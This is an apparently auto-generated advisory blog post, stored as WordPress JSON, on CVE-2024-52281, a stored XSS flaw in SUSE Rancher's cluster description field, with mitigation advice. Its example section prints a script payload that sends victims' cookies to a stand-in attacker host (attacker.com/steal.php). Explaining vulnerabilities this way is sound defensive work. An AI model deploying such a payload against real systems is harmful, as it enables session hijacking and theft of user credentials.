{"id":29551,"date":"2025-04-23T06:51:31","date_gmt":"2025-04-23T06:51:31","guid":{"rendered":""},"modified":"2025-05-14T05:21:35","modified_gmt":"2025-05-14T05:21:35","slug":"cve-2024-52281-stored-xss-vulnerability-in-suse-rancher","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-52281-stored-xss-vulnerability-in-suse-rancher\/","title":{"rendered":"<strong>CVE-2024-52281: Stored XSS Vulnerability in SUSE rancher<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A newly discovered vulnerability, CVE-2024-52281, poses a significant threat to users of SUSE rancher versions from 2.9.0 to 2.9.4. This vulnerability, if exploited, can allow a malicious actor to perform a Stored Cross-Site Scripting (Stored XSS) attack through the cluster description field. This could have severe implications, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33900\">leading to system<\/a> compromise or data leakage. As <a href=\"https:\/\/www.ameeba.com\/blog\/oracle-cloud-breach-hacker-s-threat-to-sell-stolen-data-underlines-cybersecurity-vulnerabilities\/\"  data-wpil-monitor-id=\"34256\">cybersecurity threats<\/a> become more sophisticated, it&#8217;s essential to understand and mitigate such vulnerabilities effectively.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2024-52281<br \/>\nSeverity: High (8.9 CVSS Score)<br \/>\nAttack Vector: Web-based<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34031\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4044872437\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>SUSE rancher | 2.9.0 to 2.9.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26683-improper-authorization-vulnerability-in-azure-playwright\/\"  data-wpil-monitor-id=\"35683\">vulnerability stems from improper<\/a> neutralization of user input during the web page generation process. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3200-unauthenticated-remote-attacker-exploiting-insecure-tls-protocols\/\"  data-wpil-monitor-id=\"42726\">attacker can exploit<\/a> this by injecting a malicious script into the cluster description field. When this manipulated data is read back from the server and rendered on a web page, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29660-arbitrary-script-execution-vulnerability-in-yi-iot-xy-3820\/\"  data-wpil-monitor-id=\"38192\">script is executed<\/a> in the victim&#8217;s browser. This constitutes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30511-stored-xss-vulnerability-due-to-improper-sanitization-of-plant-name-input\/\"  data-wpil-monitor-id=\"35946\">Stored XSS<\/a> attack, where the malicious script is permanently stored on the target servers, and can affect any user who views the relevant page.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3134968259\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a hypothetical example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34946\">vulnerability might be exploited<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/updateCluster HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;cluster_description&quot;: &quot;&lt;script&gt;new Image().src=&#039;http:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;&quot;\n}<\/code><\/pre>\n<p>In this example, a malicious actor sends a POST request to the `\/updateCluster` endpoint with a payload containing a script in the `cluster_description` field. This script, when rendered on a web page, would send the cookies of the user <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2816-unauthorized-modification-vulnerability-in-page-view-count-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"42725\">viewing the page<\/a> to the attacker&#8217;s server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are strongly advised to apply the vendor patch to mitigate this vulnerability. Those who are unable to apply the patch can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. However, these are not long-term solutions, and applying the vendor patch remains the most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31491-critical-vulnerability-in-autogpt-leads-to-leakage-of-cross-domain-cookies-and-protected-headers\/\"  data-wpil-monitor-id=\"34255\">protect against this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A newly discovered vulnerability, CVE-2024-52281, poses a significant threat to users of SUSE rancher versions from 2.9.0 to 2.9.4. This vulnerability, if exploited, can allow a malicious actor to perform a Stored Cross-Site Scripting (Stored XSS) attack through the cluster description field. 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